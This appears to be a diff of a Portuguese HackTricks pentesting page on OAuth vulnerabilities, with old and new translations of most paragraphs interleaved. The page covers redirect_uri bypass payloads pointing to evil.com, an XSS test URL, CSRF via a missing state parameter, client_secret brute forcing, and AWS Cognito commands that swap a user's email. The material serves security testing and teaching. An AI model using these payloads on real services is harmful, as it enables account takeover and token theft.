* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
Existem algumas versões diferentes do OAuth, você pode ler [https://oauth.net/2/](https://oauth.net/2/) para ter uma compreensão básica.
|
||||
Existem algumas versões diferentes de OAuth, você pode ler [https://oauth.net/2/](https://oauth.net/2/) para obter um entendimento básico.
|
||||
|
||||
Neste artigo, estaremos nos concentrando no fluxo mais comum que você encontrará hoje, que é o [tipo de concessão de código de autorização OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/). Em essência, o OAuth fornece aos desenvolvedores um **mecanismo de autorização para permitir que um aplicativo acesse dados ou execute determinadas ações em sua conta, a partir de outro aplicativo** (o servidor de autorização).
|
||||
Neste artigo, vamos nos concentrar no fluxo mais comum que você encontrará hoje, que é o [tipo de concessão de código de autorização OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/). Em essência, o OAuth fornece aos desenvolvedores um **mecanismo de autorização para permitir que uma aplicação acesse dados ou execute certas ações contra sua conta, a partir de outra aplicação** (o servidor de autorização).
|
||||
|
||||
Por exemplo, digamos que o site _**https://yourtweetreader.com**_ tenha funcionalidade para **exibir todos os tweets que você já enviou**, incluindo tweets privados. Para fazer isso, o OAuth 2.0 é introduzido. _https://yourtweetreader.com_ pedirá que você **autorize seu aplicativo do Twitter a acessar todos os seus tweets**. Uma página de consentimento aparecerá em _https://twitter.com_ exibindo quais **permissões estão sendo solicitadas** e quem é o desenvolvedor que está solicitando. Depois de autorizar a solicitação, _https://yourtweetreader.com_ será **capaz de acessar seus tweets em seu nome**.
|
||||
Por exemplo, digamos que o site _**https://yourtweetreader.com**_ tenha funcionalidade para **exibir todos os tweets que você já enviou**, incluindo tweets privados. Para fazer isso, o OAuth 2.0 é introduzido. _https://yourtweetreader.com_ pedirá que você **autorize sua aplicação do Twitter a acessar todos os seus Tweets**. Uma página de consentimento aparecerá em _https://twitter.com_ exibindo quais **permissões estão sendo solicitadas**, e quem é o desenvolvedor que as solicita. Uma vez que você autorize a solicitação, _https://yourtweetreader.com_ será **capaz de acessar seus Tweets em seu nome**.
|
||||
|
||||
Elementos importantes para entender em um contexto OAuth 2.0:
|
||||
Elementos que são importantes entender em um contexto de OAuth 2.0:
|
||||
|
||||
* **dono do recurso**: O `dono do recurso` é o **usuário/entidade** que concede acesso ao seu recurso protegido, como seus tweets da conta do Twitter. Neste exemplo, seria **você**.
|
||||
* **servidor de recursos**: O `servidor de recursos` é o **servidor que lida com solicitações autenticadas** após o aplicativo obter um `token de acesso` em nome do `dono do recurso`. Neste exemplo, seria **https://twitter.com**
|
||||
* **aplicativo cliente**: O `aplicativo cliente` é o **aplicativo que solicita autorização** do `dono do recurso`. Neste exemplo, seria **https://yourtweetreader.com**.
|
||||
* **servidor de autorização**: O `servidor de autorização` é o **servidor que emite `tokens de acesso`** para o `aplicativo cliente` **após autenticar com sucesso** o `dono do recurso` e obter autorização. No exemplo acima, seria **https://twitter.com**
|
||||
* **client\_id**: O `client_id` é o **identificador do aplicativo**. Este é um identificador único público, **não secreto**.
|
||||
* **client\_secret:** O `client_secret` é um **segredo conhecido apenas pelo aplicativo e pelo servidor de autorização**. Isso é usado para gerar `access_tokens`
|
||||
* **response\_type**: O `response_type` é um valor para detalhar **qual tipo de token** está sendo solicitado, como `code`
|
||||
* **scope**: O `scope` é o **nível de acesso solicitado** que o `aplicativo cliente` está solicitando do `dono do recurso`
|
||||
* **redirect\_uri**: O `redirect_uri` é a **URL para a qual o usuário é redirecionado após a conclusão da autorização**. Isso geralmente deve corresponder à URL de redirecionamento que você registrou anteriormente no serviço
|
||||
* **state**: O parâmetro `state` pode **persistir dados entre o usuário sendo direcionado para o servidor de autorização e de volta novamente**. É importante que este seja um valor único, pois serve como um mecanismo de **proteção CSRF** se contiver um valor único ou aleatório por solicitação
|
||||
* **grant\_type**: O parâmetro `grant_type` explica **qual é o tipo de concessão** e qual token será retornado
|
||||
* **code**: Este `code` é o código de autorização recebido do `servidor de autorização`, que estará no parâmetro da string de consulta "code" nesta solicitação. Este código é usado em conjunto com o `client_id` e `client_secret` pelo aplicativo cliente para buscar um `access_token`
|
||||
* **access\_token**: O `access_token` é o **token que o aplicativo cliente usa para fazer solicitações de API** em nome do `dono do recurso`
|
||||
* **refresh\_token**: O `refresh_token` permite que um aplicativo **obtenha um novo `access_token` sem solicitar ao usuário**
|
||||
* **proprietário do recurso**: O `proprietário do recurso` é o **usuário/entidade** concedendo acesso ao seu recurso protegido, como seus Tweets da conta do Twitter. Neste exemplo, seria **você**.
|
||||
* **servidor de recursos**: O `servidor de recursos` é o **servidor que lida com solicitações autenticadas** após a aplicação ter obtido um `token de acesso` em nome do `proprietário do recurso`. Neste exemplo, seria **https://twitter.com**
|
||||
* **aplicação cliente**: A `aplicação cliente` é a **aplicação solicitando autorização** do `proprietário do recurso`. Neste exemplo, seria **https://yourtweetreader.com**.
|
||||
* **servidor de autorização**: O `servidor de autorização` é o **servidor que emite `tokens de acesso`** para a `aplicação cliente` **após autenticar com sucesso** o `proprietário do recurso` e obter autorização. No exemplo acima, seria **https://twitter.com**
|
||||
* **client_id**: O `client_id` é o **identificador para a aplicação**. Este é um identificador único, **não secreto** e público.
|
||||
* **client_secret**: O `client_secret` é um **segredo conhecido apenas pela aplicação e pelo servidor de autorização**. Isso é usado para gerar `tokens de acesso`
|
||||
* **response_type**: O `response_type` é um valor que detalha **qual tipo de token** está sendo solicitado, como `code`
|
||||
* **scope**: O `scope` é o **nível de acesso solicitado** que a `aplicação cliente` está pedindo do `proprietário do recurso`
|
||||
* **redirect_uri**: O `redirect_uri` é a **URL para a qual o usuário é redirecionado após a autorização estar completa**. Geralmente, deve corresponder à URL de redirecionamento que você registrou previamente com o serviço
|
||||
* **state**: O parâmetro `state` pode **persistir dados entre o usuário ser direcionado ao servidor de autorização e voltar novamente**. É importante que este seja um valor único, pois serve como um **mecanismo de proteção contra CSRF** se contiver um valor único ou aleatório por solicitação
|
||||
* **grant_type**: O parâmetro `grant_type` explica **qual é o tipo de concessão**, e qual token será retornado
|
||||
* **code**: Este `code` é o código de autorização recebido do `servidor de autorização` que estará no parâmetro de string de consulta “code” nesta solicitação. Este código é usado em conjunto com o `client_id` e `client_secret` pela aplicação cliente para buscar um `token de acesso`
|
||||
* **access_token**: O `access_token` é o **token que a aplicação cliente usa para fazer solicitações de API** em nome de um `proprietário do recurso`
|
||||
* **refresh_token**: O `refresh_token` permite que uma aplicação **obtenha um novo `token de acesso` sem solicitar ao usuário**
|
||||
|
||||
### Exemplo Real
|
||||
|
||||
Colocando tudo isso junto, aqui está o que um **fluxo OAuth real parece**:
|
||||
Juntando tudo isso, aqui está como um **fluxo real de OAuth parece**:
|
||||
|
||||
1. Você visita [https://yourtweetreader.com](https://yourtweetreader.com) e clica no botão "Integrar com o Twitter".
|
||||
2. [https://yourtweetreader.com](https://yourtweetreader.com) envia uma solicitação para [https://twitter.com](https://twitter.com) pedindo que você, o dono do recurso, autorize o aplicativo do Twitter do https://yourtweetreader.com a acessar seus tweets. A solicitação será assim:
|
||||
1. Você visita [https://yourtweetreader.com](https://yourtweetreader.com) e clica no botão “Integrar com o Twitter”.
|
||||
2. [https://yourtweetreader.com](https://yourtweetreader.com) envia uma solicitação para [https://twitter.com](https://twitter.com) pedindo a você, o proprietário do recurso, para autorizar a aplicação do Twitter de https://yourtweetreader.com a acessar seus Tweets. A solicitação será assim:
|
||||
```
|
||||
https://twitter.com/auth
|
||||
?response_type=code
|
||||
&client_id=yourtweetreader_clientId
|
||||
&redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback
|
||||
&scope=readTweets
|
||||
&state=kasodk9d1jd992k9klaskdh123
|
||||
?response_type=code
|
||||
&client_id=yourtweetreader_clientId
|
||||
&redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback
|
||||
&scope=readTweets
|
||||
&state=kasodk9d1jd992k9klaskdh123
|
||||
```
|
||||
3. Você será solicitado com uma página de consentimento:
|
||||
3\. Você será direcionado para uma página de consentimento:
|
||||
|
||||
|
||||
|
||||
4. Uma vez aceito, o Twitter enviará uma solicitação de volta para o `redirect_uri` com os parâmetros `code` e `state`:
|
||||
4\. Uma vez aceito, o Twitter enviará uma requisição de volta para o `redirect_uri` com os parâmetros `code` e `state`:
|
||||
```
|
||||
https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1&state=kasodk9d1jd992k9klaskdh123
|
||||
```
|
||||
5\. Em seguida, o [https://yourtweetreader.com](https://yourtweetreader.com) irá pegar esse `code` e, usando o `client_id` e `client_secret` da aplicação deles, fará uma solicitação ao servidor para recuperar um `access_token` em seu nome, o que permitirá que eles acessem as permissões que você consentiu:
|
||||
5\. [https://yourtweetreader.com](https://yourtweetreader.com) então usará esse `code`, e utilizando o `client_id` e `client_secret` da aplicação, fará uma solicitação do servidor para recuperar um `access_token` em seu nome, o que permitirá a eles acessar as permissões às quais você consentiu:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: twitter.com
|
||||
|
|
@ -69,75 +71,75 @@ Host: twitter.com
|
|||
|
||||
## Descobertas de Bug Bounty <a href="#323a" id="323a"></a>
|
||||
|
||||
Agora, a parte interessante! Existem muitas coisas que podem dar errado em uma implementação OAuth, aqui estão as diferentes categorias de bugs que vejo com frequência:
|
||||
Agora, a parte interessante! Há muitas coisas que podem dar errado em uma implementação OAuth, aqui estão as diferentes categorias de bugs que eu vejo frequentemente:
|
||||
|
||||
### Configuração fraca de `redirect_uri` <a href="#cc36" id="cc36"></a>
|
||||
### Configuração fraca de redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
O `redirect_uri` é muito importante porque **dados sensíveis, como o `code`, são anexados a esta URL** após a autorização. Se o `redirect_uri` puder ser redirecionado para um **servidor controlado pelo atacante**, isso significa que o atacante pode potencialmente **assumir a conta de uma vítima** usando o `code` eles mesmos e ganhando acesso aos dados da vítima.
|
||||
O `redirect_uri` é muito importante porque **dados sensíveis, como o `code`, são anexados a esta URL** após a autorização. Se o `redirect_uri` puder ser redirecionado para um **servidor controlado pelo atacante**, isso significa que o atacante pode potencialmente **tomar controle da conta de uma vítima** usando o `code` por conta própria e ganhando acesso aos dados da vítima.
|
||||
|
||||
A maneira como isso será explorado vai variar de acordo com o servidor de autorização. **Alguns** só vão **aceitar** o mesmo caminho **`redirect_uri` especificado na aplicação cliente**, mas alguns vão **aceitar qualquer coisa** no mesmo domínio ou subdiretório do `redirect_uri`.
|
||||
A maneira como isso será explorado vai variar de acordo com o servidor de autorização. **Alguns** vão **aceitar apenas** o mesmo caminho exato de **`redirect_uri` especificado na aplicação cliente**, mas alguns vão **aceitar qualquer coisa** no mesmo domínio ou subdiretório do `redirect_uri`.
|
||||
|
||||
Dependendo da lógica manipulada pelo servidor, existem várias técnicas para contornar um `redirect_uri`. Em uma situação em que um `redirect_uri` é [https://yourtweetreader.com](https://yourtweetreader.com)/callback, essas incluem:
|
||||
Dependendo da lógica tratada pelo servidor, há uma série de técnicas para contornar um `redirect_uri`. Em uma situação onde um `redirect_uri` é [https://yourtweetreader.com](https://yourtweetreader.com)/callback, estas incluem:
|
||||
|
||||
* Redirecionamentos abertos: [`https://yourtweetreader.com`](https://yourtweetreader.com)`/callback?redirectUrl=https://evil.com`
|
||||
* Traversal de caminho: `https://yourtweetreader.com/callback/../redirect?url=https://evil.com`
|
||||
* Regexes de `redirect_uri` fracos: `https://yourtweetreader.com.evil.com`
|
||||
* Regexes fracos de `redirect_uri`: `https://yourtweetreader.com.evil.com`
|
||||
* Injeção de HTML e roubo de tokens via cabeçalho referer: `https://yourtweetreader.com/callback/home/attackerimg.jpg`
|
||||
|
||||
**Outros parâmetros** que podem ser vulneráveis a Redirecionamentos Abertos são:
|
||||
|
||||
* **client_uri** - URL da página inicial da aplicação cliente
|
||||
* **policy_uri** - URL que o aplicativo cliente do Relying Party fornece para que o usuário final possa ler sobre como seus dados de perfil serão usados.
|
||||
* **tos_uri** - URL que o cliente do Relying Party fornece para que o usuário final possa ler sobre os termos de serviço do Relying Party.
|
||||
* **initiate_login_uri** - URI usando o esquema https que um terceiro pode usar para iniciar um login pelo RP. Também deve ser usado para redirecionamento do lado do cliente.
|
||||
* **client\_uri** - URL da página inicial da aplicação cliente
|
||||
* **policy\_uri** - URL que a aplicação cliente Parte Confiante fornece para que o usuário final possa ler sobre como seus dados de perfil serão usados.
|
||||
* **tos\_uri** - URL que a aplicação cliente Parte Confiante fornece para que o usuário final possa ler sobre os termos de serviço da Parte Confiante.
|
||||
* **initiate\_login\_uri** - URI usando o esquema https que um terceiro pode usar para iniciar um login pela RP. Também deve ser usado para redirecionamento do lado do cliente.
|
||||
|
||||
Todos esses parâmetros são **opcionais de acordo com as especificações do OAuth e OpenID** e nem sempre são suportados em um servidor específico, portanto, sempre vale a pena identificar quais parâmetros são suportados em seu servidor.
|
||||
Todos esses parâmetros são **opcionais de acordo com as especificações OAuth e OpenID** e nem sempre são suportados em um servidor específico, então vale sempre a pena identificar quais parâmetros são suportados no seu servidor.
|
||||
|
||||
Se você direcionar um servidor OpenID, o ponto de descoberta em \*\*`.well-known/openid-configuration`\*\* às vezes contém parâmetros como "_registration\_endpoint_", "_request\_uri\_parameter\_supported_" e "_require\_request\_uri\_registration_". Isso pode ajudá-lo a encontrar o ponto de registro e outros valores de configuração do servidor.
|
||||
Se você mirar em um servidor OpenID, o ponto de descoberta em \*\*`.well-known/openid-configuration`\*\* às vezes contém parâmetros como "_registration\_endpoint_", "_request\_uri\_parameter\_supported_", e "_require\_request\_uri\_registration_". Estes podem ajudá-lo a encontrar o ponto de registro e outros valores de configuração do servidor.
|
||||
|
||||
### XSS na implementação de redirecionamento <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Como mencionado neste relatório de bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), pode ser possível que a **URL de redirecionamento esteja sendo refletida na resposta** do servidor após o usuário se autenticar, sendo **vulnerável a XSS**. Carga útil possível para teste:
|
||||
Como mencionado neste relatório de bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) pode ser possível que a URL de redirecionamento **esteja sendo refletida na resposta** do servidor após o usuário se autenticar, sendo **vulnerável a XSS**. Payload possível para teste:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - Manipulação inadequada do parâmetro de estado <a href="#bda5" id="bda5"></a>
|
||||
### CSRF - Tratamento inadequado do parâmetro state <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Muitas vezes, o parâmetro **`state` é completamente omitido ou usado de maneira incorreta**. Se um parâmetro de estado **não existir** ou for um valor estático que nunca muda, o fluxo do OAuth provavelmente estará **vulnerável a CSRF**. Às vezes, mesmo que haja um parâmetro `state`, a **aplicação pode não validar o parâmetro** e um ataque funcionará. A maneira de explorar isso seria passar pelo processo de autorização em sua própria conta e pausar logo após a autorização. Você encontrará uma solicitação como esta:
|
||||
Muito frequentemente, o **parâmetro `state` é completamente omitido ou usado de maneira incorreta**. Se um parâmetro state é **inexistente**, **ou um valor estático** que nunca muda, o fluxo OAuth provavelmente será **vulnerável a CSRF**. Às vezes, mesmo que exista um parâmetro `state`, a **aplicação pode não fazer nenhuma validação do parâmetro** e um ataque funcionará. A maneira de explorar isso seria passar pelo processo de autorização na sua própria conta e pausar logo após autorizar. Você então se deparará com uma solicitação como:
|
||||
```
|
||||
https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1
|
||||
```
|
||||
Depois de receber essa solicitação, você pode **descartar a solicitação porque esses códigos são geralmente de uso único**. Em seguida, você pode enviar esta URL para um usuário conectado e ela adicionará sua conta à conta deles. A princípio, isso pode não parecer muito sensível, já que você está simplesmente adicionando sua conta à conta da vítima. No entanto, muitas implementações do OAuth são para fins de login, então se você puder adicionar sua conta do Google, que é usada para fazer login, você poderá potencialmente realizar uma **Assunção de Conta** com um único clique, já que fazer login com sua conta do Google lhe daria acesso à conta da vítima.
|
||||
Após receber essa solicitação, você pode **descartar a solicitação, pois esses códigos são tipicamente de uso único**. Em seguida, você pode enviar esta URL para um **usuário logado, e ela adicionará sua conta à conta dele**. A princípio, isso pode não parecer muito sensível, já que você está simplesmente adicionando sua conta à conta de uma vítima. No entanto, muitas implementações de OAuth são para fins de login, então, se você puder adicionar sua conta do Google, que é usada para fazer login, você poderia potencialmente realizar um **Account Takeover** com um único clique, pois fazer login com sua conta do Google daria acesso à conta da vítima.
|
||||
|
||||
Você pode encontrar um **exemplo** sobre isso neste [**CTF writeup**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes\_surfer.md) e na **caixa HTB chamada Oouch**.
|
||||
Você pode encontrar um **exemplo** sobre isso neste [**CTF writeup**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes\_surfer.md) e na **HTB box chamada Oouch**.
|
||||
|
||||
Também vi o parâmetro de estado usado como um valor de redirecionamento adicional várias vezes. O aplicativo usará `redirect_uri` para o redirecionamento inicial, mas então o parâmetro `state` como um segundo redirecionamento que poderia conter o `code` nos parâmetros de consulta ou no cabeçalho referer.
|
||||
Também vi o parâmetro state sendo usado como um valor de redirecionamento adicional várias vezes. O aplicativo usará `redirect_uri` para o redirecionamento inicial, mas depois o parâmetro `state` como um segundo redirecionamento que poderia conter o `code` dentro dos parâmetros da query, ou no cabeçalho referer.
|
||||
|
||||
Uma coisa importante a observar é que isso não se aplica apenas a situações de login e assunção de conta. Vi más configurações em:
|
||||
Uma coisa importante a notar é que isso não se aplica apenas a situações de login e account takeover. Vi configurações incorretas em:
|
||||
|
||||
* Integrações do Slack permitindo que um invasor adicione sua conta do Slack como destinatário de todas as notificações/mensagens
|
||||
* Integrações do Stripe permitindo que um invasor substitua as informações de pagamento e aceite pagamentos dos clientes da vítima
|
||||
* Integrações do PayPal permitindo que um invasor adicione sua conta do PayPal à conta da vítima, o que depositaria dinheiro na conta do PayPal do invasor
|
||||
* Integrações do Slack permitindo que um atacante adicione sua conta do Slack como destinatário de todas as notificações/mensagens
|
||||
* Integrações do Stripe permitindo que um atacante substitua informações de pagamento e aceite pagamentos dos clientes da vítima
|
||||
* Integrações do PayPal permitindo que um atacante adicione sua conta do PayPal à conta da vítima, o que depositaria dinheiro na conta do PayPal do atacante
|
||||
|
||||
### Pré-Assunção de Conta <a href="#ebe4" id="ebe4"></a>
|
||||
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
Um dos outros problemas mais comuns que vejo é quando os aplicativos permitem "Entrar com X", mas também nome de usuário/senha. Existem 2 maneiras diferentes de atacar isso:
|
||||
Um dos outros problemas mais comuns que vejo é quando aplicativos permitem "Sign in with X", mas também username/password. Existem 2 maneiras diferentes de atacar isso:
|
||||
|
||||
1. Se o aplicativo **não exigir verificação de e-mail na criação da conta**, tente **criar uma conta com o endereço de e-mail da vítima e a senha do invasor** antes que a vítima se registre. Se a **vítima** então tentar se registrar ou entrar **com um terceiro**, como o Google, é possível que o aplicativo faça uma pesquisa, veja que o e-mail já está registrado e, em seguida, **vincule a conta do Google deles à conta criada pelo invasor**. Isso é uma "pré-assunção de conta" em que um invasor terá acesso à conta da vítima se a criou antes do registro da vítima.
|
||||
2. Se um **aplicativo OAuth não exigir verificação de e-mail**, tente se inscrever com esse aplicativo OAuth com um **endereço de e-mail da vítima**. O mesmo problema acima pode existir, mas você estaria atacando-o na outra direção e obtendo acesso à conta da vítima para uma assunção de conta.
|
||||
1. Se o aplicativo **não exigir verificação de e-mail na criação da conta**, tente **criar uma conta com o e-mail de uma vítima e senha do atacante** antes de a vítima se registrar. Se a **vítima** então tentar se registrar ou fazer login **com um terceiro**, como o Google, é possível que o aplicativo faça uma busca, veja que o e-mail já está registrado e então **vincule sua conta do Google à conta criada pelo atacante**. Isso é um "**pre account takeover**" onde um atacante terá acesso à conta da vítima se a criou antes do registro da vítima.
|
||||
2. Se um **aplicativo OAuth não exigir verificação de e-mail**, tente se inscrever com esse aplicativo OAuth e depois mude o endereço de e-mail para o **e-mail de uma vítima**. O mesmo problema acima poderia existir, mas você estaria atacando de outra direção e obtendo acesso à conta da vítima para um account takeover.
|
||||
|
||||
### Divulgação de Segredos <a href="#e177" id="e177"></a>
|
||||
### Disclosure of Secrets <a href="#e177" id="e177"></a>
|
||||
|
||||
É muito importante reconhecer **quais dos muitos parâmetros do OAuth são secretos** e protegê-los. Por exemplo, vazar o `client_id` é perfeitamente normal e necessário, mas vazar o **`client_secret` é perigoso**. Se isso for vazado, o **invasor** pode potencialmente **abusar da confiança e identidade do aplicativo cliente confiável para roubar `access_tokens` do usuário e informações/acesso privado para suas contas integradas**. Voltando ao nosso exemplo anterior, um problema que vi é realizar esta etapa do cliente, em vez do servidor:
|
||||
É muito importante reconhecer **quais dos muitos parâmetros OAuth são secretos** e protegê-los. Por exemplo, vazar o `client_id` é perfeitamente aceitável e necessário, mas vazar o **`client_secret` é perigoso**. Se isso for vazado, o **atacante** pode potencialmente **abusar da confiança e identidade do aplicativo cliente confiável para roubar `access_tokens` do usuário e informações/acesso privado para suas contas integradas**. Voltando ao nosso exemplo anterior, um problema que vi é realizar esta etapa do cliente, em vez do servidor:
|
||||
|
||||
_5._ [_https://yourtweetreader.com_](https://yourtweetreader.com) _então pegará esse `code` e, usando o `client_id` e o `client_secret` de sua aplicação, fará uma solicitação do servidor para recuperar um `access_token` em seu nome, o que permitirá que eles acessem as permissões que você consentiu._
|
||||
_5._ [_https://yourtweetreader.com_](https://yourtweetreader.com) _então pegará esse `code`, e usando o `client_id` e `client_secret` do aplicativo, fará uma solicitação do servidor para recuperar um `access_token` em seu nome, o que permitirá a eles acessar as permissões às quais você consentiu._
|
||||
|
||||
**Se isso for feito do cliente, o `client_secret` será vazado e os usuários poderão gerar `access_tokens` em nome do aplicativo**. Com alguma engenharia social, eles também podem **adicionar mais escopos à autorização do OAuth** e tudo parecerá legítimo, já que a solicitação virá do aplicativo cliente confiável.
|
||||
**Se isso for feito do cliente, o `client_secret` será vazado e os usuários poderão gerar `access_tokens` em nome do aplicativo**. Com um pouco de engenharia social, eles também podem **adicionar mais escopos à autorização OAuth** e tudo parecerá legítimo, pois a solicitação virá do aplicativo cliente confiável.
|
||||
|
||||
### Bruteforce de Segredo do Cliente
|
||||
### Client Secret Bruteforce
|
||||
|
||||
Você pode tentar **forçar o segredo do cliente** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
|
||||
A solicitação para BF pode ser semelhante a:
|
||||
Você pode tentar **bruteforce o `client_secret`** de um provedor de serviço com o provedor de identidade para tentar roubar contas.\
|
||||
A solicitação para BF pode parecer semelhante a:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
content-type: application/x-www-form-urlencoded
|
||||
|
|
@ -147,27 +149,27 @@ Connection: close
|
|||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Vazamento de Cabeçalho Referer + Código de Estado
|
||||
### Cabeçalho Referer vazando Código + Estado
|
||||
|
||||
Depois que o cliente tem o **código e o estado**, se ele for **refletido dentro do cabeçalho Referer** quando ele navega para uma página diferente, então há uma vulnerabilidade.
|
||||
Uma vez que o cliente tem o **código e estado**, se estes são **refletidos dentro do cabeçalho Referer** quando ele navega para uma página diferente, então está vulnerável.
|
||||
|
||||
### Token de Acesso Armazenado no Histórico do Navegador
|
||||
|
||||
Vá para o **histórico do navegador e verifique se o token de acesso está salvo lá**.
|
||||
|
||||
### Código de Autorização Eterno
|
||||
### Código de Autorização Permanente
|
||||
|
||||
O **código de autorização deve viver apenas por algum tempo para limitar a janela de tempo em que um invasor pode roubá-lo e usá-lo**.
|
||||
O **código de autorização deve viver apenas por algum tempo para limitar a janela de tempo onde um atacante pode roubar e usá-lo**.
|
||||
|
||||
### Token de Autorização/Atualização não vinculado ao cliente
|
||||
|
||||
Se você pode obter o **código de autorização e usá-lo com um cliente diferente, então você pode assumir o controle de outras contas**.
|
||||
|
||||
### Caminhos Felizes, XSS, Iframes e Mensagens de Postagem para vazar valores de código e estado
|
||||
### Caminhos Felizes, XSS, Iframes & Post Messages para vazar valores de código & estado
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Neste relatório de recompensa por bugs: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) você pode ver que o **token** que o **AWS Cognito** retorna ao usuário pode ter **permissões suficientes para sobrescrever os dados do usuário**. Portanto, se você puder **alterar o e-mail do usuário para um e-mail de usuário diferente**, poderá **assumir o controle** de outras contas.
|
||||
Neste relatório de bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) você pode ver que o **token** que o **AWS Cognito** devolve ao usuário pode ter **permissões suficientes para sobrescrever os dados do usuário**. Portanto, se você pode **mudar o email do usuário por um email de outro usuário**, você pode ser capaz de **assumir o controle** de outras contas.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
|
|
@ -175,28 +177,38 @@ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
|||
# Change email address
|
||||
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
|
||||
{
|
||||
"CodeDeliveryDetailsList": [
|
||||
{
|
||||
"Destination": "i***@f***.com",
|
||||
"DeliveryMedium": "EMAIL",
|
||||
"AttributeName": "email"
|
||||
}
|
||||
]
|
||||
"CodeDeliveryDetailsList": [
|
||||
{
|
||||
"Destination": "i***@f***.com",
|
||||
"DeliveryMedium": "EMAIL",
|
||||
"AttributeName": "email"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Para obter informações mais detalhadas sobre como abusar do AWS Cognito, consulte:
|
||||
Para mais informações detalhadas sobre como abusar do AWS cognito, confira:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
|
||||
### Dois links e cookie <a href="#bda5" id="bda5"></a>
|
||||
### Abusando de tokens de outros Apps <a href="#bda5" id="bda5"></a>
|
||||
|
||||
De acordo com [**este artigo**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era possível fazer com que a vítima abrisse uma página com um **returnUrl** apontando para o host do atacante. Essa informação seria **armazenada em um cookie (RU)** e em um **passo posterior**, o **prompt** perguntaria ao **usuário** se ele queria dar acesso a esse host do atacante.
|
||||
Como [**mencionado neste relatório**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), fluxos OAuth que esperam receber o **token** (e não um código) podem ser vulneráveis se não verificarem que o token pertence ao app.
|
||||
|
||||
Para contornar esse prompt, era possível abrir uma guia para iniciar o **fluxo Oauth** que definiria esse cookie RU usando o **returnUrl**, fechar a guia antes que o prompt fosse exibido e abrir uma nova guia sem esse valor. Então, o **prompt não informará sobre o host do atacante**, mas o cookie será definido para ele, então o **token será enviado para o host do atacante** na redireção.
|
||||
Isso ocorre porque um **atacante** poderia criar uma **aplicação suportando OAuth e fazer login com o Facebook** (por exemplo) em sua própria aplicação. Então, uma vez que uma vítima faça login com o Facebook na **aplicação do atacante**, o atacante poderia obter o **token OAuth do usuário dado à sua aplicação e usá-lo para fazer login na aplicação OAuth da vítima usando o token do usuário da vítima**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Portanto, se o atacante conseguir fazer com que o usuário acesse sua própria aplicação OAuth, ele poderá assumir o controle da conta da vítima em aplicações que estão esperando um token e não estão verificando se o token foi concedido ao ID de seu app.
|
||||
{% endhint %}
|
||||
|
||||
### Dois links & cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
De acordo com [**este relatório**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era possível fazer com que uma vítima abrisse uma página com um **returnUrl** apontando para o host do atacante. Essa informação seria **armazenada em um cookie (RU)** e em uma **etapa posterior** o **prompt** irá **perguntar** ao **usuário** se ele quer dar acesso ao host do atacante.
|
||||
|
||||
Para contornar este prompt, era possível abrir uma aba para iniciar o **fluxo Oauth** que configuraria este cookie RU usando o **returnUrl**, fechar a aba antes que o prompt fosse exibido e abrir uma nova aba sem esse valor. Então, o **prompt não informará sobre o host do atacante**, mas o cookie estaria configurado para ele, então o **token seria enviado para o host do atacante** no redirecionamento.
|
||||
|
||||
### Parâmetros SSRFs <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Uma das URLs ocultas que você pode perder é o **endpoint de registro de cliente dinâmico**. Para autenticar com sucesso os usuários, os servidores OAuth precisam saber detalhes sobre o aplicativo cliente, como "client\_name", "client\_secret", "redirect\_uris" e assim por diante. Esses detalhes podem ser fornecidos por meio de configuração local, mas os servidores de autorização OAuth também podem ter um **endpoint de registro especial**. Esse endpoint normalmente é mapeado para "/register" e aceita solicitações POST com o seguinte formato:
|
||||
